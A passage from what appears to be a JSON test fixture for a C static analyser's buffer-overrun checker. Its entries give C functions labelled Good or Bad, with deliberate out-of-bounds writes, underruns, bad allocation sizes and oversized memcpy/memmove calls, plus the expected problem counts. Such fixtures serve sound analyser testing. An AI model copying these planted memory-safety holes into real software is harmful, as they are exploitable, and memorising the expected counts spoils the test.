(int*)calloc(10, sizeof(int));\n arr[0] = 0;\n arr[9] = 0;\n}\n\nvoid calloc_bad1() {\n int* arr = (int*)calloc(10, sizeof(int));\n arr[-1] = 0;\n arr[10] = 0;\n}\n" + }, + { + "testname": "cast.c", + "testlanguage": "c", + "expected-problems": 32, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nvoid cast_Good() {\n char arr[5];\n *(int32_t*)(arr + 1) = 123;\n}\n\nvoid cast_Bad_FN() {\n char arr[1];\n *(int32_t*)arr = 123;\n}\n\nvoid cast2_Good() {\n int32_t arr[4];\n *(((char*)arr) + 4) = 123;\n}\n\nvoid cast2_Bad() {\n int32_t arr[4];\n *(((char*)arr) + 20) = 123;\n}\n\nvoid cast_unsigned_to_signed_Good() {\n char arr[10];\n uint32_t x = 15;\n int32_t y = (int32_t)x;\n if (y < 10) {\n arr[y] = 0;\n }\n}\n\nvoid cast_unsigned_to_signed_Bad_FN() {\n char arr[10];\n uint32_t x = 4294967295;\n int32_t y = (int32_t)x; // y is -1.\n if (y < 10) {\n arr[y] = 0;\n }\n}\n\nvoid cast_signed_to_unsigned_Good() {\n char arr[10];\n int32_t x = 15;\n uint32_t y = (uint32_t)x;\n if (y < 10) {\n arr[y] = 0;\n }\n}\n\nvoid cast_signed_to_unsigned_Bad() {\n char arr[10];\n int32_t x = -1;\n uint32_t y = (uint32_t)x;\n if (y > 0) {\n arr[y] = 0;\n }\n}\n\nvoid cast_signed_to_unsigned2_Bad_FN() {\n char arr[10];\n int32_t x = -2;\n uint32_t y = (uint32_t)x;\n if (y > 0) {\n arr[y] = 0;\n }\n}\n\nvoid cast_float_to_int_Good_FP() {\n char arr[10];\n float x = 15.0;\n int32_t y = (int32_t)x;\n if (y < 10) {\n arr[y] = 0;\n }\n}\n\nvoid cast_float_to_int_Bad() {\n char arr[10];\n float x = 15000000000.0;\n int32_t y = (int32_t)x; // y is -2147483648.\n if (y < 10) {\n arr[y] = 0;\n }\n}\n\n/*\n Testing that the analyzer doesn't run infinitely on these cases\n*/\ntypedef struct s_cast {\n char* data;\n struct s_cast* another;\n char* data2;\n} t_cast;\n\nchar cast_field_to_struct(struct s_cast* s, int i0) {\n for (int i = i0; i > 0; i--) {\n s = (struct s_cast*)(&s->data);\n }\n s = s->another;\n for (int i = i0; i > 0; i--) {\n s = (struct s_cast*)(&s->data);\n s = (struct s_cast*)((unsigned char*)(void*)(s->data2) -\n offsetof(s->data2));\n }\n return *s->data;\n}\n" + }, + { + "testname": "do_while.c", + "testlanguage": "c", + "expected-problems": 16, + "code": "/*\n * Copyright (c) 2016-present, Programming Research Laboratory (ROPAS)\n * Seoul National University, Korea\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nvoid do_while_sub(char* a, int len) {\n int i = 0;\n do {\n a[i] = i;\n i++;\n } while (i < len);\n}\n\nvoid do_while_Good() {\n char* a = malloc(10);\n do_while_sub(a, 10); /* SAFE */\n}\n\nvoid do_while_Bad() {\n char* a = malloc(10);\n do_while_sub(a, 11); /* BUG */\n}\n\nvoid do_while_2_Good() {\n int count = 10;\n int a[count];\n int i = 0;\n do {\n a[i] = 0;\n } while (++i < count);\n}\n\nvoid do_while_2_Bad() {\n int count = 10;\n int a[count];\n int i = 0;\n do {\n a[i] = 0;\n } while (i++ < count);\n}\n" + }, + { + "testname": "duplicates.c", + "testlanguage": "c", + "expected-problems": 9, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nvoid two_accesses(int* arr) {\n if (arr[1] < 0) {\n arr[0] = 0;\n }\n}\n\nvoid one_alarm_is_enough() {\n int arr[1];\n two_accesses(arr);\n}\n\nvoid two_symbolic_accesses(int n) {\n int arr[1];\n arr[n] = 0;\n arr[n - 2] = 0; // Do not remove the associated condition\n}\n\nvoid tsa_one_alarm_Bad() { two_symbolic_accesses(3); }\n\nvoid tsa_two_alarms_Bad() { two_symbolic_accesses(1); }\n" + }, + { + "testname": "external.c", + "testlanguage": "c", + "expected-problems": 6, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nextern char** lib();\n\nvoid extern_bad() {\n int arr[10];\n char** p = lib();\n if (p != 0)\n arr[10] = 0;\n char* q = *p;\n if (q != 0)\n arr[20] = 0;\n int r = *q;\n if (r != 0)\n arr[30] = 0;\n}\n" + }, + { + "testname": "flexible_array.c", + "testlanguage": "c", + "expected-problems": 9, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nstruct s {\n int useless_field_because_flexible_array_members_are_not_allowed_in_otherwise_empty_struct;\n int arr[];\n};\n\nvoid access_to_incomplete_array_type(struct s* a, int i) { a->arr[i] = 0; }\n\nvoid call_access_to_incomplete_array_type_Good() {\n struct s* x = malloc(sizeof(struct s) + sizeof(int));\n access_to_incomplete_array_type(x, 0);\n}\n\nvoid call_access_to_incomplete_array_type_Bad_FN() {\n struct s* x = malloc(sizeof(struct s) + sizeof(int));\n access_to_incomplete_array_type(x, 1);\n}\n\n// For tests with last field of size 0 or 1, see class.cpp\n" + }, + { + "testname": "for_loop.c", + "testlanguage": "c", + "expected-problems": 45, + "code": "/*\n * Copyright (c) 2016-present, Programming Research Laboratory (ROPAS)\n * Seoul National University, Korea\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nchar* safealloc(int n) {\n char* x;\n if (n > 0)\n x = malloc(n);\n else\n x = malloc(10);\n\n if (!x)\n return x;\n else\n exit(1);\n}\n\nvoid for_loop() {\n char* a;\n int i;\n\n a = safealloc(10);\n for (i = 0; i < 10; i++) {\n a[i] = 'a'; /* SAFE */\n }\n a = safealloc(5);\n for (i = 0; i < 10; i++) {\n a[i] = 'a'; /* BUG */\n }\n}\n\nvoid no_op() { int k = 0; }\n\nint two_loops(int m) {\n for (int i = 0; i < m; i++) {\n no_op();\n }\n for (int j = 0; j < m; j++) {\n no_op();\n }\n return m;\n}\n\nvoid call_two_loops_Good() {\n int a[10];\n int m = 5;\n a[two_loops(m)] = 1;\n}\n\nvoid call_two_loops_Bad() {\n int a[10];\n int m = 15;\n a[two_loops(m)] = 1;\n}\n\nstruct payload {\n int count;\n int payload[];\n};\n\n#define COUNT 10\n\n// memleak but no array out of bounds error\nvoid malloc_sizeof_value_leak_good() {\n struct payload* x;\n x = malloc(sizeof(*x) + COUNT * sizeof(x->payload[0]));\n if (x == NULL) {\n return 1;\n }\n x->count = COUNT;\n for (int i = 0; i < COUNT; i++) {\n x->payload[i] = i;\n }\n /* missing free(x) */\n}\n\nvoid initialize_arr(int* arr, int count) {\n for (int i = 0; i < count; ++i) {\n arr[i] = 0;\n }\n}\n\nvoid call_initialize_arr_Good() {\n int arr[10];\n initialize_arr(arr, 5);\n}\n\nvoid call_initialize_arr_Bad() {\n int arr[10];\n initialize_arr(arr, 20);\n}\n\nvoid threshold_by_comparison_1_Good() {\n int arr[100];\n for (int i = 0; i != 100; i++) {\n arr[i] = 0;\n }\n}\n\nvoid threshold_by_comparison_1_Bad() {\n int arr[50];\n for (int i = 0; i != 100; i++) {\n arr[i] = 0;\n }\n}\n\nvoid threshold_by_comparison_2_Good() {\n int arr[100];\n int j = 0;\n while (1) { // widening threshold for j should be 99, not 100\n j++;\n if (j == 100) {\n j = 0;\n }\n arr[j] = 0;\n }\n}\n\nvoid threshold_by_comparison_2_Bad() {\n int arr[50];\n int j = 0;\n while (1) { // widening threshold for j should be 99, not 100\n j++;\n if (j == 100) {\n j = 0;\n }\n arr[j] = 0;\n }\n}\n\nvoid infinite_for_loop_Good() {\n int arr[5];\n int x = 0;\n for (x;;) {\n }\n arr[10] = 0;\n}\n" + }, + { + "testname": "function_call.c", + "testlanguage": "c", + "expected-problems": 71, + "code": "/*\n * Copyright (c) 2016-present, Programming Research Laboratory (ROPAS)\n * Seoul National University, Korea\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n#include \n\nstruct S {\n int field;\n};\n\nvoid arr_access(int* arr, char* p, int i) {\n int x = arr[0];\n arr[x] = 1; /* BUG */\n *(p + i) = 'a'; /* BUG */\n}\n\nvoid function_call() {\n int arr[10];\n arr[0] = 100;\n char* p = malloc(10);\n arr_access(arr, p, 20);\n}\n\nvoid ptr_set_to_zero(int* x) { *x = 0; }\n\nvoid struct_ptr_set_to_zero(struct S* s) { s->field = 0; }\n\nvoid call_by_ptr_good() {\n int arr[10];\n int i = 99;\n ptr_set_to_zero(&i);\n arr[i] = 123;\n}\n\nvoid call_by_arr_good() {\n int arr[10];\n ptr_set_to_zero(&arr);\n arr[arr[0]] = 123;\n}\n\nvoid call_by_struct_ptr_good() {\n int arr[10];\n struct S* s = (struct S*)malloc(sizeof(struct S));\n s->field = 99;\n struct_ptr_set_to_zero(s);\n arr[s->field] = 123;\n}\n\nvoid call_by_ptr_bad() {\n int arr[10];\n int i = 5;\n ptr_set_to_zero(&i);\n arr[i - 1] = 123;\n}\n\nvoid call_by_arr_bad() {\n int arr[10];\n ptr_set_to_zero(&arr);\n arr[arr[0] - 1] = 123;\n}\n\nvoid call_by_struct_ptr_bad() {\n int arr[10];\n struct S* sp = (struct S*)malloc(sizeof(struct S));\n sp->field = 5;\n struct_ptr_set_to_zero(sp);\n arr[sp->field - 1] = 123;\n}\n\nint ret_zero() { return 0; }\n\nvoid call_function_ptr_good() {\n int (*func_ptr)(void) = &ret_zero;\n int arr[10];\n if ((*func_ptr)() != 0) {\n // unreacheable\n arr[10] = 1;\n }\n}\n\nvoid call_function_ptr_bad1() {\n int (*func_ptr)(void) = &ret_zero;\n int arr[10];\n if ((*func_ptr)() == 0) {\n arr[10] = 1;\n }\n}\n\nvoid access_index_1(int* arr) { arr[1] = 0; }\nvoid access_index_4(int* arr) { arr[4] = 0; }\n\nvoid call_access_index_1_on_local_array_Good() {\n int arr[4];\n access_index_1(arr);\n}\n\nvoid call_access_index_4_on_local_array_Bad() {\n int arr[4];\n access_index_4(arr);\n}\n\nvoid call_access_index_1_on_malloced_array_Good() {\n int* ptr = malloc(sizeof(int) * 4);\n access_index_1(ptr);\n}\n\nvoid call_access_index_4_on_malloced_array_Bad() {\n int* ptr = malloc(sizeof(int) * 4);\n access_index_4(ptr);\n}\n\nstruct S2 {\n int arr[4];\n};\n\nvoid call_access_index_1_on_S2_Good(struct S2* s) { access_index_1(s->arr); }\n\nvoid FN_call_access_index_4_on_S2_Bad(struct S2* s) { access_index_4(s->arr); }\n\nstruct S3 {\n int* ptr;\n};\n\nvoid call_access_index_1_on_S3(struct S3* s) { access_index_1(s->ptr); }\n\nvoid call_access_index_4_on_S3(struct S3* s) { access_index_4(s->ptr); }\n\nvoid call_call_access_index_1_on_S3_Good() {\n struct S3 s;\n s.ptr = malloc(sizeof(int) * 4);\n call_access_index_1_on_S3(&s);\n}\n\nvoid call_call_access_index_4_on_S3_Bad() {\n struct S3 s;\n s.ptr = malloc(sizeof(int) * 4);\n call_access_index_4_on_S3(&s);\n}\n\nvoid va_arg_int(int* a, ...) {\n va_list args;\n va_start(args, a);\n int i = va_arg(args, int);\n a[i] = 0;\n va_end(args);\n}\n\nvoid call_va_arg_int_Good_FP() {\n int a[10];\n va_arg_int(a, 5);\n}\n\nvoid call_va_arg_int_Bad() {\n int a[10];\n va_arg_int(a, 10);\n}\n\nstruct S* id_S(struct S* r) {\n return r;\n}\n\nvoid call_id_S_Good_FP(struct S p) {\n int a[10];\n struct S* q = id_S(&p);\n if (q == 0) {\n a[10] = 0; // should be unreachable\n }\n}\n\nvoid call_id_S_Bad(struct S p) {\n int a[10];\n struct S* q = id_S(&p);\n if (q != 0) {\n a[10] = 0; // should be reachable\n }\n}\n" + }, + { + "testname": "get_field.c", + "testlanguage": "c", + "expected-problems": 21, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \"my_typedef.h\"\n\nstruct st {\n int field;\n};\n\nint get_field(t* x) { return x->field; }\n\nvoid call_get_field_cond_Bad() {\n int a[5];\n t x = {0};\n if (get_field_wrapper(&x)) {\n a[10] = 0;\n } else {\n a[10] = 0;\n }\n}\n\nvoid call_get_field_Good() {\n int a[5];\n t x = {0};\n a[get_field_wrapper(&x)] = 0;\n}\n\nvoid call_get_field_Bad() {\n int a[5];\n t x = {10};\n a[get_field_wrapper(&x)] = 0;\n}\n\nstruct List {\n struct List* next;\n struct List* prev;\n int v;\n};\n\nint get_v(struct List* l) { return l->next->prev->v; }\n\nint call_get_v_Good() {\n int a[10];\n struct List* l = (struct List*)malloc(sizeof(struct List));\n struct List* next = (struct List*)malloc(sizeof(struct List));\n l->next = next;\n next->prev = l;\n l->v = 0;\n next->v = 10;\n a[get_v(l)] = 0;\n}\n\nint call_get_v_Bad() {\n int a[10];\n struct List* l = (struct List*)malloc(sizeof(struct List));\n struct List* next = (struct List*)malloc(sizeof(struct List));\n l->next = next;\n next->prev = l;\n l->v = 10;\n next->v = 0;\n a[get_v(l)] = 0;\n}\n\n// [l->next->prev->next->prev->v] is abstracted in [l->next->prev.*.v].\nint get_v2(struct List* l) { return l->next->prev->next->prev->v; }\n\nint call_get_v2_Good_FP() {\n int a[10];\n struct List* l = (struct List*)malloc(sizeof(struct List));\n struct List* next = (struct List*)malloc(sizeof(struct List));\n l->next = next;\n next->prev = l;\n l->v = 0;\n next->v = 10;\n a[get_v2(l)] = 0;\n}\n\nint call_get_v2_Bad() {\n int a[10];\n struct List* l = (struct List*)malloc(sizeof(struct List));\n struct List* next = (struct List*)malloc(sizeof(struct List));\n l->next = next;\n next->prev = l;\n l->v = 10;\n next->v = 0;\n a[get_v2(l)] = 0;\n}\n\nstruct t1 {\n struct t1* a;\n struct t1* b;\n struct t1* c;\n struct t1* d;\n struct t1* e;\n struct t1* f;\n struct t1* g;\n struct t1* h;\n struct t1* i;\n struct t1* j;\n};\n\nint unknown;\n\n// The analysis should be terminated within a reasonable amount of time.\nvoid make_many_locations(struct t1* x) {\n while (1) {\n switch (unknown) {\n case 0:\n x = x->a;\n break;\n case 1:\n x = x->b;\n break;\n case 2:\n x = x->c;\n break;\n case 3:\n x = x->d;\n break;\n case 4:\n x = x->e;\n break;\n case 5:\n x = x->f;\n break;\n case 6:\n x = x->g;\n break;\n case 7:\n x = x->h;\n break;\n case 8:\n x = x->i;\n break;\n default:\n x = x->j;\n break;\n }\n }\n}\n" + }, + { + "testname": "get_field_wrapper.c", + "testlanguage": "c", + "expected-problems": 1, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \"my_typedef.h\"\n\nint get_field_wrapper(t* x) { return get_field(x); }\n" + }, + { + "testname": "global.c", + "testlanguage": "c", + "expected-problems": 27, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nint global;\n\nvoid compare_global_variable_bad() {\n char arr[10];\n if (global < 10)\n arr[10] = 1;\n}\n\nconst int global_const_zero = 0;\n\nenum { global_const = global_const_zero };\n\nvoid compare_global_const_enum_Bad() {\n char arr[10];\n if (global_const < 10)\n arr[10] = 1;\n}\n\nvoid compare_global_const_enum_Good_FP() {\n char arr[10];\n if (global_const > 10)\n arr[10] = 1;\n}\n\nconst int global_const_ten = 10;\n\nvoid use_global_const_ten_Good() {\n char arr[20];\n arr[global_const_ten] = 0;\n}\n\nvoid use_global_const_ten_Bad() {\n char arr[5];\n arr[global_const_ten] = 0;\n}\n\nstatic const char global_arr[] = {1, 0, 1};\n\nstatic void copyfilter_Good_FP(const char* s, const char* z, int b) {\n int i;\n int n = strlen(s);\n for (i = 0; z[i]; i++) { // We need to infer that z[i] means i < strlen(z)\n if (global_arr[z[i]] || // We need a weak update here\n (z[i] == s[0] && (n == 1 || memcmp(z, s, n) == 0))) {\n i = 0;\n break;\n }\n }\n}\n\nstatic const char* global_string_array[] = {\"a\", \"b\", \"c\", \"d\", \"e\", \"f\"};\n\n#define ISSUE949_SIZE 50\n\nint issue949_arr[ISSUE949_SIZE];\n\nvoid issue949_bad_FN() {\n for (int i = 0; i <= ISSUE949_SIZE; i++) {\n issue949_arr[i] = 1;\n }\n}\n" + }, + { + "testname": "goto_loop.c", + "testlanguage": "c", + "expected-problems": 5, + "code": "/*\n * Copyright (c) 2016-present, Programming Research Laboratory (ROPAS)\n * Seoul National University, Korea\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nvoid goto_loop() {\n int i = 0;\n char a[10];\n\nloop_start:\n if (i >= 10)\n goto loop_end;\n a[i] = 'a'; /* SAFE */\n i++;\n goto loop_start;\nloop_end:\n a[i] = 'a'; /* BUG */\n}\n\nvoid goto_infinite_loop() {\n int i = 0;\nL1:\n i++;\n if (i >= 0) { // Always true\n goto L2;\n } else {\n goto L2;\n }\nL2:\n i++;\n if (i >= 0) { // Always true\n goto L1;\n } else {\n goto L1;\n }\n // Exit node not reachable\n}\n" + }, + { + "testname": "inf_loop.c", + "testlanguage": "c", + "expected-problems": 3, + "code": "/*\n * Copyright (c) 2016-present, Programming Research Laboratory (ROPAS)\n * Seoul National University, Korea\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nvoid inf_loop() {\n int i = 0;\n char a[10];\n\n while (1) {\n if (i >= 10)\n i = 0;\n a[i] = 'a'; /* SAFE */\n i++;\n }\n}\n" + }, + { + "testname": "issue_kinds.c", + "testlanguage": "c", + "expected-problems": 127, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nint zero_or_ten(int ten) {\n if (ten) {\n return 10;\n } else {\n return 0;\n }\n}\n\nint zero_to_infty() {\n int r = 0;\n for (int i = 0; i < zero_or_ten(0); i++) {\n r++;\n }\n return r;\n}\n\nvoid l1_concrete_overrun_Bad() {\n int a[10];\n a[10] = 0;\n}\n\nvoid l1_concrete_underrun_Bad() {\n int a[10];\n a[-1] = 0;\n}\n\nvoid l1_symbolic_overrun_Bad(int i) {\n int a[10];\n if (i >= 10) {\n a[i] = 0;\n }\n}\n\nvoid l1_symbolic_overrun2_Bad(int n) {\n int a[n];\n a[n] = 0;\n}\n\nvoid l1_symbolic_underrun_Bad(int i) {\n int a[10];\n if (i < 0) {\n a[i] = 0;\n }\n}\n\nint less_than(int i, int n) { return i < n; }\n\nvoid l1_symbolic_widened_Bad(int n) {\n int a[n];\n for (int i = n; less_than(i, 2 * n); i++) {\n a[i] = 0;\n }\n}\n\nvoid l1_symbolic_widened_Good(int n) {\n int a[n];\n for (int i = n; less_than(i, n); i++) {\n a[i] = 0;\n }\n}\n\nvoid l2_concrete_overrun_Bad() {\n int a[10];\n a[zero_or_ten(1)] = 0;\n}\n\nvoid l2_concrete_underrun_Bad() {\n int a[9];\n a[zero_or_ten(0) - 1] = 0;\n}\n\nvoid l2_concrete_no_overrun_Good_FP() {\n int a[10];\n a[zero_or_ten(0)] = 0;\n}\n\nvoid l2_concrete_no_underrun_Good_FP() {\n int a[9];\n a[zero_or_ten(1) - 1] = 0;\n}\n\nvoid l2_symbolic_overrun_Bad(int* n) {\n int a[*n];\n a[*n] = 0;\n}\n\nvoid l2_symbolic_no_overrun_Good(int n) {\n int a[n];\n if (n > 0) {\n a[n - 1] = 0;\n }\n}\n\nvoid l3_concrete_overrun_Bad() {\n int a[zero_or_ten(0) + 5];\n a[zero_or_ten(1)] = 0;\n}\n\nvoid l3_concrete_underrun_Bad() {\n int a[10];\n a[zero_or_ten(0) - 1] = 0;\n}\n\nvoid l3_concrete_no_overrun_Good_FP() {\n int a[zero_or_ten(1) + 5];\n a[zero_or_ten(1)] = 0;\n}\n\nvoid l3_concrete_no_underrun_Good_FP() {\n int a[10];\n a[zero_or_ten(1) - 1] = 0;\n}\n\nvoid l4_widened_overrun_Bad() {\n int a[10];\n for (int i = 0; less_than(i, 11); i++) {\n a[i] = 0;\n }\n}\n\nvoid l4_widened_no_overrun_Good_FP() {\n int a[10];\n for (int i = 0; less_than(i, 10); i++) {\n a[i] = 0;\n }\n}\n\nint unknown_function();\n\nvoid l5_external_Warn_Bad() {\n int a[10];\n a[unknown_function()] = 0;\n}\n\nvoid s2_symbolic_widened_Bad(int* n) {\n int a[*n];\n for (int i = *n; less_than(i, 2 * *n); i++) {\n a[i] = 0;\n }\n}\n\nvoid s2_symbolic_widened_Good_FP(int* n) {\n int a[*n];\n for (int i = *n; less_than(i, *n); i++) {\n a[i] = 0;\n }\n}\n\n// Do not report as it was already reported in the callee with the same issue\n// type\nvoid FP_call_s2_symbolic_widened_Silenced(int* m) {\n s2_symbolic_widened_Bad(m);\n}\n\nvoid l1_call_to_s2_symbolic_widened_Bad() {\n int x = 1;\n s2_symbolic_widened_Bad(&x);\n}\n\nvoid may_underrun_symbolic_Nowarn_Good(int n) {\n int a[n];\n a[n - 1] = 0;\n}\n\nvoid may_over_or_underrun_symbolic_Nowarn_Good(int n) {\n int a[10];\n a[n] = 0;\n}\n\nvoid may_over_or_underrun_symbolic2_Nowarn_Good(int n) {\n int a[n];\n a[1] = 0;\n}\n\nvoid alloc_is_negative_Bad() { malloc(-2); }\n\nvoid alloc_may_be_negative_Bad() { malloc(zero_or_ten(0) - 5); }\n\nvoid alloc_may_be_negative_Good_FP() { malloc(zero_or_ten(1) - 5); }\n\nvoid alloc_is_zero_Bad() { malloc(0 * sizeof(int)); }\n\nvoid alloc_is_big_Bad() { malloc(2 * 1000 * 1000 * 1000); }\n\nvoid alloc_may_be_big_Bad() { malloc(zero_or_ten(1) * 100 * 1000 * 1000 + 1); }\n\n// Non-symbolic, should not be propagated\nvoid call_to_alloc_may_be_big_Good() { alloc_may_be_big_Bad(); }\n\nvoid alloc_may_be_big_Good_FP() {\n malloc(zero_or_ten(1) * 100 * 1000 * 1000 + 1);\n}\n\n/*\n When the upper bound is infinity and the lower bound unknown,\n we don't report but still propagate the error.\n*/\nvoid alloc_may_be_big2_Silenced(int n) { malloc(n + zero_to_infty()); }\n\n// Now that we have a lower bound, we can report it\nvoid call_to_alloc_may_be_big2_is_big_Bad() {\n alloc_may_be_big2_Silenced(100 * 1000 * 1000);\n}\n\nvoid l1_unknown_function_Bad() {\n int a[5];\n int idx = unknown_function() * 10;\n if (10 <= idx) {\n if (idx <= 10) {\n a[idx] = 0;\n }\n }\n}\n\n/*\n We do not report the underrun here, in case the loop never runs (length <= 0).\n But we should report it anyway.\n*/\nvoid loop_underrun_Bad_FN(int length) {\n int i;\n char a[length];\n\n for (i = length - 1; i >= 0; i--) {\n a[i - 1] = 'U';\n }\n}\n\nvoid l2_loop_overflow_Bad(int length) {\n int i;\n char a[length];\n\n for (i = length - 1; i >= 0; i--) {\n a[i + 1] = 'O';\n }\n}\n\nvoid l2_loop_overflow2_Bad(int length) {\n int i;\n char a[length];\n\n for (i = length - 1; i >= 0; i--) {\n a[length - i] = 'O';\n }\n}\n\n/* Inferbo raises U5 alarm because\n - the pair of offset:[10,10] and size:[5,+oo] is belong to L3\n - the offset value is from an unknown function\n - there is at least one infinity bound (in size).\n However, it should ideally raise L3, because the infinity is not\n from the unknown function. */\nvoid False_Issue_Type_l3_unknown_function_Bad() {\n int* a = (int*)malloc((zero_to_infty() + 5) * sizeof(int));\n int idx = unknown_function() * 10;\n if (10 <= idx) {\n if (idx <= 10) {\n a[idx] = 0;\n }\n }\n}\n\nint mone_to_one() {\n int x = unknown_function();\n if (x >= -1 && x <= 1) {\n return x;\n } else {\n return 0;\n }\n}\n\nvoid two_safety_conditions(int n) {\n char a[10];\n int y = mone_to_one();\n if (unknown_function()) {\n a[n] = 0; // should be L1 when n=10\n } else {\n a[n + y] = 0; // should be L2 when n=10\n }\n}\n\nvoid call_two_safety_conditions_l1_and_l2_Bad() { two_safety_conditions(10); }\n\n/* issue1 and issue2 are deduplicated since the offset of issue2\n ([10,+oo]) subsumes that of issue1 ([10,10]). */\nvoid deduplicate_issues_1_Bad() {\n int a[10];\n int x = 10;\n a[x] = 0; // issue1: [10,10] < [10,10]\n x = unknown_function();\n if (x >= 10) {\n a[x] = 0; // issue2: [10,+oo] < [10,10]\n }\n}\n\n/* issue1 and issue2 are not deduplicated since they have different\n conditions to reach. */\nvoid deduplicate_issues_2_Bad(int y) {\n int a[10];\n int x = 10;\n a[x] = 0; // issue1: [10,10] < [10,10]\n x = unknown_function();\n if (x >= 10 && y >= 0) {\n a[x] = 0; // issue2: [10,+oo] < [10,10]\n }\n}\n" + }, + { + "testname": "minmax.c", + "testlanguage": "c", + "expected-problems": 22, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nint exact_min_minus_min_linear_CAF(int x) {\n int size1[1];\n int y = 28;\n if (x < 5)\n y = x + 10;\n // y = [10 + min(18, x), 28]\n if (y > 28) {\n size1[-1] = 0;\n }\n return y;\n}\n\nint underapprox_min_minus_min_linear_CAF(int x) {\n int size1[1];\n int y = 10;\n if (x < 5)\n y = x + 20;\n // y = [20 + min(-10, x), 24]\n if (y > 24) {\n size1[-1] = 0;\n }\n return y;\n}\n\nvoid exact_min_plus_min_plus_min_UNDERRUN(int x, int b) {\n int size1[1];\n int y = exact_min_minus_min_linear_CAF(x);\n if (b)\n y = underapprox_min_minus_min_linear_CAF(x);\n y -= 29;\n // [-19 + min(0, x), -1]\n size1[y] = 0;\n}\n\nint random();\n\nint exact_minmax_sym(int x) {\n if (random()) {\n if (x > 1) {\n x = 1;\n } // [min(1, x), 1]\n x = x + 1; // [1 + min(1, x), 2]\n } // [min(2, x), max(2, x)]\n return x;\n}\n\nvoid call_exact_minmax_sym_Good() {\n int x = 5;\n int a[x];\n a[exact_minmax_sym(x) - 1] = 0;\n}\n\nvoid call_exact_minmax_sym_Bad() {\n int x = 5;\n int a[x];\n a[exact_minmax_sym(x)] = 0;\n}\n" + }, + { + "testname": "models.c", + "testlanguage": "c", + "expected-problems": 232, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n#include \n\nvoid exit_bo_good_unreachable_bad() {\n int arr[1];\n exit(1);\n // unreachable so no buffer overrun\n arr[42] = 42;\n}\n\nvoid fgetc_m1_bad(FILE* f) {\n int arr[10000];\n int c = fgetc(f);\n arr[c] = 42;\n}\n\nvoid fgetc_255_bad(FILE* f) {\n int arr[255];\n int c = fgetc(f);\n if (c >= 0) {\n arr[c] = 42;\n }\n}\n\nvoid fgetc_256_good(FILE* f) {\n int arr[256];\n int c = fgetc(f);\n if (c >= 0) {\n arr[c] = 42;\n }\n}\n\nvoid fgetc_256_bad(FILE* f) {\n int arr[256];\n int c = fgetc(f);\n arr[c + 1] = 42;\n}\n\nvoid fgetc_257_good(FILE* f) {\n int arr[257];\n int c = fgetc(f);\n arr[c + 1] = 42;\n}\n\nvoid memcpy_bad1() {\n int arr1[10];\n int arr2[20];\n memcpy(arr1, arr2, 44);\n}\n\nvoid memcpy_bad2() {\n int arr1[10];\n int arr2[20];\n memcpy(arr2, arr1, 44);\n}\n\nvoid memcpy_bad3() {\n int arr1[10];\n int arr2[20];\n memcpy(arr1, arr2, -1);\n}\n\nvoid memcpy_bad4() {\n int src[1];\n int buff[1];\n int* dst = &buff[0];\n memcpy(dst, src, sizeof(dst));\n}\n\nvoid memcpy_good1() {\n int arr1[10];\n int arr2[20];\n memcpy(arr2, arr1, 40);\n}\n\nvoid memcpy_good2() {\n int arr1[10];\n int arr2[20];\n memcpy(arr2, arr1, 0);\n}\n\nvoid memcpy_good3() {\n int arr1[10];\n int arr2[20];\n memcpy(arr2, arr1, 20);\n}\n\nvoid memcpy_good4() {\n int src[3];\n int dst[3];\n memcpy(dst, src, sizeof(dst));\n}\n\nvoid memcpy_len_Good(size_t len) {\n char dst[len];\n char src[len];\n memcpy(dst, src, len);\n}\n\nvoid call_memcpy_len1_Good() { memcpy_len_Good(40); }\n\nextern size_t unknown_uint();\n\nvoid call_memcpy_len2_Good() {\n size_t x = unknown();\n memcpy_len_Good(x);\n}\n\nvoid memmove_bad1() {\n int arr1[10];\n int arr2[20];\n memmove(arr1, arr2, 44);\n}\n\nvoid memmove_bad2() {\n int arr1[10];\n int arr2[20];\n memmove(arr2, arr1, 44);\n}\n\nvoid memmove_bad3() {\n int arr1[10];\n int arr2[20];\n memmove(arr1, arr2, -1);\n}\n\nvoid memmove_bad4() {\n int src[1];\n int buff[1];\n int* dst = &buff[0];\n memmove(dst, src, sizeof(dst));\n}\n\nvoid memmove_good1() {\n int arr1[10];\n int arr2[20];\n memmove(arr2, arr1, 40);\n}\n\nvoid memmove_good2() {\n int arr1[10];\n int arr2[20];\n memmove(arr2, arr1, 0);\n}\n\nvoid memmove_good3() 